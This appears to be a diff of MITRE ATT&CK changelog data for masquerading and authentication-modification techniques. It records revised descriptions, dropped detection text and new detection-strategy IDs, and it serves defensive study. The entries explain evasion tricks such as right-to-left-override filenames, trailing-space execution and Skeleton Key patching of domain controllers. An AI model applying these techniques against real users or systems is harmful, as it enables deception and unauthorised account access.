+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:25.732000+00:00\", \"old_value\": \"2025-04-15 22:23:40.712000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1017: User Training",
+ "M1028: Operating System Configuration"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0366: Detection Strategy for Double File Extension Masquerading"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--b4b7458f-81f2-4d38-84be-1c5ba0167a52",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-10 19:49:46.752000+00:00",
+ "modified": "2025-10-24 17:49:15.520000+00:00",
+ "name": "Invalid Code Signature",
+ "description": "Adversaries may attempt to mimic features of valid code signatures to increase the chance of deceiving a user, analyst, or tool. Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. Adversaries can copy the metadata and signature information from a signed program, then use it as a template for an unsigned program. Files with invalid code signatures will fail digital signature validation checks, but they may appear more legitimate to users and security tools may improperly handle these files.(Citation: Threatexpress MetaTwin 2017)\n\nUnlike [Code Signing](https://attack.mitre.org/techniques/T1553/002), this activity will not result in a valid signature.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036/001",
+ "external_id": "T1036.001"
+ },
+ {
+ "source_name": "Threatexpress MetaTwin 2017",
+ "description": "Vest, J. (2017, October 9). Borrowing Microsoft MetaData and Signatures to Hide Binary Payloads. Retrieved September 10, 2019.",
+ "url": "https://threatexpress.com/blogs/2017/metatwin-borrowing-microsoft-metadata-and-digital-signatures-to-hide-binaries/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Windows",
+ "macOS"
+ ],
+ "x_mitre_version": "1.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:15.520000+00:00\", \"old_value\": \"2025-04-15 22:43:00.641000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Collect and analyze signing certificate metadata and check signature validity on software that executes within the environment, look for invalid signatures as well as unusual certificate characteristics and outliers.\"}}}",
+ "previous_version": "1.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1045: Code Signing"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0031: Invalid Code Signature Execution Detection via Metadata and Behavioral Context"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--208884f1-7b83-4473-ac22-4e1cf6c41471",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2023-03-08 22:40:06.918000+00:00",
+ "modified": "2025-10-08 17:44:11.183000+00:00",
+ "name": "Masquerade File Type",
+ "description": "Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \n\nAdversaries may edit the header\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \n\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\n\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036/008",
+ "external_id": "T1036.008"
+ },
+ {
+ "source_name": "polygot_icedID",
+ "description": "Lim, M. (2022, September 27). More Than Meets the Eye: Exposing a Polyglot File That Delivers IcedID. Retrieved September 29, 2022.",
+ "url": "https://unit42.paloaltonetworks.com/polyglot-file-icedid-payload"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.3.0",
+ "x_mitre_contributors": [
+ "CrowdStrike Falcon OverWatch",
+ "Ben Smith"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-08 17:44:11.183000+00:00\", \"old_value\": \"2025-04-15 19:58:12.855000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"old_value\": \"Adversaries may masquerade malicious payloads as legitimate files through changes to the payload's formatting, including the file\\u2019s signature, extension, icon, and contents. Various file types have a typical standard format, including how they are encoded and organized. For example, a file\\u2019s signature (also known as header or magic bytes) is the beginning bytes of a file and is often used to identify the file\\u2019s type. For example, the header of a JPEG file, is 0xFF 0xD8 and the file extension is either `.JPE`, `.JPEG` or `.JPG`. \\n\\nAdversaries may edit the header\\u2019s hex code and/or the file extension of a malicious payload in order to bypass file validation checks and/or input sanitization. This behavior is commonly used when payload files are transferred (e.g., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) and stored (e.g., [Upload Malware](https://attack.mitre.org/techniques/T1608/001)) so that adversaries may move their malware without triggering detections. \\n\\nCommon non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n\\nPolygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\", \"diff\": \"--- \\n+++ \\n@@ -4,4 +4,4 @@\\n \\n Common non-executable file types and extensions, such as text files (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typically treated as benign. Based on this, adversaries may use a file extension to disguise malware, such as naming a PHP backdoor code with a file name of test.gif. A user may not know that a file is malicious due to the benign appearance and file extension.\\n \\n-Polygot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\\n+Polyglot files, which are files that have multiple different file types and that function differently based on the application that will execute them, may also be used to disguise malicious malware and capabilities.(Citation: polygot_icedID)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_contributors'][1]\": {\"new_value\": \"Ben Smith\", \"old_value\": \"Ben Smith, @cyberg3cko\"}}}",
+ "previous_version": "1.1",
+ "description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may masquerade malicious payloads as legitimate | t | 1 | Adversaries may masquerade malicious payloads as legitimate |
| > | files through changes to the payload's formatting, including | > | files through changes to the payload's formatting, including | ||
| > | the file\u2019s signature, extension, icon, and contents. Variou | > | the file\u2019s signature, extension, icon, and contents. Variou | ||
| > | s file types have a typical standard format, including how t | > | s file types have a typical standard format, including how t | ||
| > | hey are encoded and organized. For example, a file\u2019s signatu | > | hey are encoded and organized. For example, a file\u2019s signatu | ||
| > | re (also known as header or magic bytes) is the beginning by | > | re (also known as header or magic bytes) is the beginning by | ||
| > | tes of a file and is often used to identify the file\u2019s type. | > | tes of a file and is often used to identify the file\u2019s type. | ||
| > | For example, the header of a JPEG file, is <code> 0xFF 0xD | > | For example, the header of a JPEG file, is <code> 0xFF 0xD | ||
| > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | > | 8</code> and the file extension is either `.JPE`, `.JPEG` or | ||
| > | `.JPG`. Adversaries may edit the header\u2019s hex code and/or | > | `.JPG`. Adversaries may edit the header\u2019s hex code and/or | ||
| > | the file extension of a malicious payload in order to bypas | > | the file extension of a malicious payload in order to bypas | ||
| > | s file validation checks and/or input sanitization. This beh | > | s file validation checks and/or input sanitization. This beh | ||
| > | avior is commonly used when payload files are transferred (e | > | avior is commonly used when payload files are transferred (e | ||
| > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | > | .g., [Ingress Tool Transfer](https://attack.mitre.org/techni | ||
| > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | > | ques/T1105)) and stored (e.g., [Upload Malware](https://atta | ||
| > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | > | ck.mitre.org/techniques/T1608/001)) so that adversaries may | ||
| > | move their malware without triggering detections. Common n | > | move their malware without triggering detections. Common n | ||
| > | on-executable file types and extensions, such as text files | > | on-executable file types and extensions, such as text files | ||
| > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | > | (`.txt`) and image files (`.jpg`, `.gif`, etc.) may be typic | ||
| > | ally treated as benign. Based on this, adversaries may use | > | ally treated as benign. Based on this, adversaries may use | ||
| > | a file extension to disguise malware, such as naming a PHP b | > | a file extension to disguise malware, such as naming a PHP b | ||
| > | ackdoor code with a file name of <code>test.gif</code>. A us | > | ackdoor code with a file name of <code>test.gif</code>. A us | ||
| > | er may not know that a file is malicious due to the benign a | > | er may not know that a file is malicious due to the benign a | ||
| > | ppearance and file extension. Polygot files, which are file | > | ppearance and file extension. Polyglot files, which are fil | ||
| > | s that have multiple different file types and that function | > | es that have multiple different file types and that function | ||
| > | differently based on the application that will execute them, | > | differently based on the application that will execute them | ||
| > | may also be used to disguise malicious malware and capabili | > | , may also be used to disguise malicious malware and capabil | ||
| > | ties.(Citation: polygot_icedID) | > | ities.(Citation: polygot_icedID) |
rundll32.exe).(Citation: Elastic Masquerade Ball) An alternative case occurs when a legitimate utility is copied or moved to a different directory and renamed to avoid detections based on these utilities executing from non-standard paths.(Citation: F-Secure CozyDuke)",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036/003",
+ "external_id": "T1036.003"
+ },
+ {
+ "source_name": "Twitter ItsReallyNick Masquerading Update",
+ "description": "Carr, N.. (2018, October 25). Nick Carr Status Update Masquerading. Retrieved September 12, 2024.",
+ "url": "https://x.com/ItsReallyNick/status/1055321652777619457"
+ },
+ {
+ "source_name": "Elastic Masquerade Ball",
+ "description": "Ewing, P. (2016, October 31). How to Hunt: The Masquerade Ball. Retrieved October 31, 2016.",
+ "url": "https://www.elastic.co/blog/how-hunt-masquerade-ball"
+ },
+ {
+ "source_name": "F-Secure CozyDuke",
+ "description": "F-Secure Labs. (2015, April 22). CozyDuke: Malware Analysis. Retrieved December 10, 2015.",
+ "url": "https://www.f-secure.com/documents/996508/1030745/CozyDuke"
+ },
+ {
+ "source_name": "LOLBAS Main Site",
+ "description": "LOLBAS. (n.d.). Living Off The Land Binaries and Scripts (and also Libraries). Retrieved February 10, 2020.",
+ "url": "https://lolbas-project.github.io/"
+ },
+ {
+ "source_name": "Huntress Python Malware 2025",
+ "description": "Matthew Brennan. (2024, July 5). Snakes on a Domain: An Analysis of a Python Malware Loader. Retrieved April 3, 2025.",
+ "url": "https://www.huntress.com/blog/snakes-on-a-domain-an-analysis-of-a-python-malware-loader"
+ },
+ {
+ "source_name": "Splunk Detect Renamed PSExec",
+ "description": "Splunk. (2025, February 24). Detection: Detect Renamed PSExec. Retrieved April 3, 2025.",
+ "url": "https://research.splunk.com/endpoint/683e6196-b8e8-11eb-9a79-acde48001122/"
+ },
+ {
+ "source_name": "The DFIR Report AutoHotKey 2023",
+ "description": "The DFIR Report. (2023, February 6). Collect, Exfiltrate, Sleep, Repeat. Retrieved April 3, 2025.",
+ "url": "https://thedfirreport.com/2023/02/06/collect-exfiltrate-sleep-repeat/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Matt Anderson, @\u200cnosecurething, Huntress"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "2.0",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Process: Process Metadata\", \"Command: Command Execution\", \"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:18.517000+00:00\", \"old_value\": \"2025-04-15 19:59:02.921000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If file names are mismatched between the file name on disk and that of the binary's PE metadata, this is a likely indicator that a binary was renamed after it was compiled. Collecting and comparing disk and resource filenames for binaries by looking to see if the InternalName, OriginalFilename, and/or ProductName match what is expected could provide useful leads, but may not always be indicative of malicious activity. (Citation: Elastic Masquerade Ball) Do not focus on the possible names a file could have, but instead on the command-line arguments that are known to be used and are distinct because it will have a better rate of detection.(Citation: Twitter ItsReallyNick Masquerading Update)\"}}}",
+ "previous_version": "2.0",
+ "changelog_mitigations": {
+ "shared": [
+ "M1022: Restrict File and Directory Permissions"
+ ],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0009: Process (Process Metadata)",
+ "DS0017: Command (Command Execution)",
+ "DS0022: File (File Metadata)",
+ "DS0022: File (File Modification)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0005: Renamed Legitimate Utility Execution with Metadata Mismatch and Suspicious Path"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--77eae145-55db-4519-8ae5-77b0c7215d69",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-10 19:55:29.385000+00:00",
+ "modified": "2025-10-24 17:48:58.683000+00:00",
+ "name": "Right-to-Left Override",
+ "description": "Adversaries may abuse the right-to-left override (RTLO or RLO) character (U+202E) to disguise a string and/or file name to make it appear benign. RTLO is a non-printing Unicode character that causes the text that follows it to be displayed in reverse. For example, a Windows screensaver executable named March 25 \\u202Excod.scr will display as March 25 rcs.docx. A JavaScript file named photo_high_re\\u202Egnp.js will be displayed as photo_high_resj.png.(Citation: Infosecinstitute RTLO Technique)\n\nAdversaries may abuse the RTLO character as a means of tricking a user into executing what they think is a benign file type. A common use of this technique is with [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001)/[Malicious File](https://attack.mitre.org/techniques/T1204/002) since it can trick both end users and defenders if they are not aware of how their tools display and render the RTLO character. Use of the RTLO character has been seen in many targeted intrusion attempts and criminal activity.(Citation: Trend Micro PLEAD RTLO)(Citation: Kaspersky RTLO Cyber Crime) RTLO can be used in the Windows Registry as well, where regedit.exe displays the reversed characters but the command line tool reg.exe does not by default.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036/002",
+ "external_id": "T1036.002"
+ },
+ {
+ "source_name": "Trend Micro PLEAD RTLO",
+ "description": "Alintanahin, K.. (2014, May 23). PLEAD Targeted Attacks Against Taiwanese Government Agencies. Retrieved April 22, 2019.",
+ "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/plead-targeted-attacks-against-taiwanese-government-agencies-2/"
+ },
+ {
+ "source_name": "Kaspersky RTLO Cyber Crime",
+ "description": "Firsh, A.. (2018, February 13). Zero-day vulnerability in Telegram - Cybercriminals exploited Telegram flaw to launch multipurpose attacks. Retrieved April 22, 2019.",
+ "url": "https://securelist.com/zero-day-vulnerability-in-telegram/83800/"
+ },
+ {
+ "source_name": "Infosecinstitute RTLO Technique",
+ "description": "Security Ninja. (2015, April 16). Spoof Using Right to Left Override (RTLO) Technique. Retrieved April 22, 2019.",
+ "url": "https://resources.infosecinstitute.com/spoof-using-right-to-left-override-rtlo-technique-2/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS",
+ "Windows"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:58.683000+00:00\", \"old_value\": \"2025-04-15 23:00:50.575000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Detection methods should include looking for common formats of RTLO characters within filenames such as \\\\u202E, [U+202E], and %E2%80%AE. Defenders should also check their analysis tools to ensure they do not interpret the RTLO character and instead print the true name of the file containing it.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0527: Right-to-Left Override Masquerading Detection via Filename and Execution Context"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--e51137a5-1cdc-499e-911a-abaedaa5ac86",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-10 20:47:10.082000+00:00",
+ "modified": "2025-10-24 17:49:32.287000+00:00",
+ "name": "Space after Filename",
+ "description": "Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system.\n\nFor example, if there is a Mach-O executable file called evil.bin, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to evil.txt, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to evil.txt (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back).\n\nAdversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.",
+ "kill_chain_phases": [
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1036/006",
+ "external_id": "T1036.006"
+ },
+ {
+ "source_name": "Mac Backdoors are back",
+ "description": "Dan Goodin. (2016, July 6). After hiatus, in-the-wild Mac backdoors are suddenly back. Retrieved July 8, 2017.",
+ "url": "https://arstechnica.com/security/2016/07/after-hiatus-in-the-wild-mac-backdoors-are-suddenly-back/"
+ }
+ ],
+ "object_marking_refs": [
+ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+ ],
+ "x_mitre_attack_spec_version": "3.2.0",
+ "x_mitre_contributors": [
+ "Erye Hernandez, Palo Alto Networks"
+ ],
+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
+ "enterprise-attack"
+ ],
+ "x_mitre_is_subtechnique": true,
+ "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "x_mitre_platforms": [
+ "Linux",
+ "macOS"
+ ],
+ "x_mitre_version": "1.1",
+ "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:32.287000+00:00\", \"old_value\": \"2025-04-25 14:48:22.412000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"It's not common for spaces to be at the end of filenames, so this is something that can easily be checked with file monitoring. From the user's perspective though, this is very hard to notice from within the Finder.app or on the command-line in Terminal.app. Processes executed from binaries containing non-standard extensions in the filename are suspicious.\"}}}",
+ "previous_version": "1.1",
+ "changelog_mitigations": {
+ "shared": [],
+ "new": [],
+ "dropped": []
+ },
+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0022: File (File Metadata)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0292: Masquerading via Space After Filename - Behavioral Detection Strategy"
+ ],
+ "dropped": []
+ }
+ },
+ {
+ "type": "attack-pattern",
+ "id": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84",
+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 19:01:56.887000+00:00",
+ "modified": "2025-10-24 17:49:36.944000+00:00",
+ "name": "Modify Authentication Process",
+ "description": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using [Valid Accounts](https://attack.mitre.org/techniques/T1078).\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.",
+ "kill_chain_phases": [
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
+ },
+ {
+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
+ },
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
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+ "revoked": false,
+ "external_references": [
+ {
+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1556",
+ "external_id": "T1556"
+ },
+ {
+ "source_name": "Clymb3r Function Hook Passwords Sept 2013",
+ "description": "Bialek, J. (2013, September 15). Intercepting Password Changes With Function Hooking. Retrieved November 21, 2017.",
+ "url": "https://clymb3r.wordpress.com/2013/09/15/intercepting-password-changes-with-function-hooking/"
+ },
+ {
+ "source_name": "Xorrior Authorization Plugins",
+ "description": "Chris Ross. (2018, October 17). Persistent Credential Theft with Authorization Plugins. Retrieved April 22, 2021.",
+ "url": "https://xorrior.com/persistent-credential-theft/"
+ },
+ {
+ "source_name": "Dell Skeleton",
+ "description": "Dell SecureWorks. (2015, January 12). Skeleton Key Malware Analysis. Retrieved April 8, 2019.",
+ "url": "https://www.secureworks.com/research/skeleton-key-malware-analysis"
+ },
+ {
+ "source_name": "dump_pwd_dcsync",
+ "description": "Metcalf, S. (2015, November 22). Dump Clear-Text Passwords for All Admins in the Domain Using Mimikatz DCSync. Retrieved November 15, 2021.",
+ "url": "https://adsecurity.org/?p=2053"
+ },
+ {
+ "source_name": "TechNet Audit Policy",
+ "description": "Microsoft. (2016, April 15). Audit Policy Recommendations. Retrieved June 3, 2016.",
+ "url": "https://technet.microsoft.com/en-us/library/dn487457.aspx"
+ }
+ ],
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+ "x_mitre_contributors": [
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+ "x_mitre_deprecated": false,
+ "x_mitre_detection": "",
+ "x_mitre_domains": [
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+ "macOS",
+ "Network Devices",
+ "IaaS",
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+ "Office Suite",
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+ ],
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+ "previous_version": "2.6",
+ "changelog_mitigations": {
+ "shared": [
+ "M1018: User Account Management",
+ "M1022: Restrict File and Directory Permissions",
+ "M1024: Restrict Registry Permissions",
+ "M1025: Privileged Process Integrity",
+ "M1026: Privileged Account Management",
+ "M1027: Password Policies",
+ "M1028: Operating System Configuration",
+ "M1032: Multi-factor Authentication",
+ "M1047: Audit"
+ ],
+ "new": [],
+ "dropped": []
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+ "changelog_datacomponent_detections": {
+ "shared": [],
+ "new": [],
+ "dropped": [
+ "DS0002: User Account (User Account Authentication)",
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+ "DS0009: Process (OS API Execution)",
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+ "DS0015: Application Log (Application Log Content)",
+ "DS0022: File (File Creation)",
+ "DS0022: File (File Modification)",
+ "DS0024: Windows Registry (Windows Registry Key Creation)",
+ "DS0024: Windows Registry (Windows Registry Key Modification)",
+ "DS0025: Cloud Service (Cloud Service Modification)",
+ "DS0026: Active Directory (Active Directory Object Modification)",
+ "DS0028: Logon Session (Logon Session Creation)"
+ ]
+ },
+ "changelog_detectionstrategy_detections": {
+ "shared": [],
+ "new": [
+ "DET0104: Detect Modification of Authentication Processes Across Platforms"
+ ],
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+ }
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+ "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+ "created": "2020-02-11 19:05:02.399000+00:00",
+ "modified": "2025-10-24 17:49:27.324000+00:00",
+ "name": "Domain Controller Authentication",
+ "description": "Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts. \n\nMalware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user\u2019s account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)",
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "credential-access"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "defense-evasion"
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+ "kill_chain_name": "mitre-attack",
+ "phase_name": "persistence"
+ }
+ ],
+ "revoked": false,
+ "external_references": [
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+ "source_name": "mitre-attack",
+ "url": "https://attack.mitre.org/techniques/T1556/001",
+ "external_id": "T1556.001"
+ },
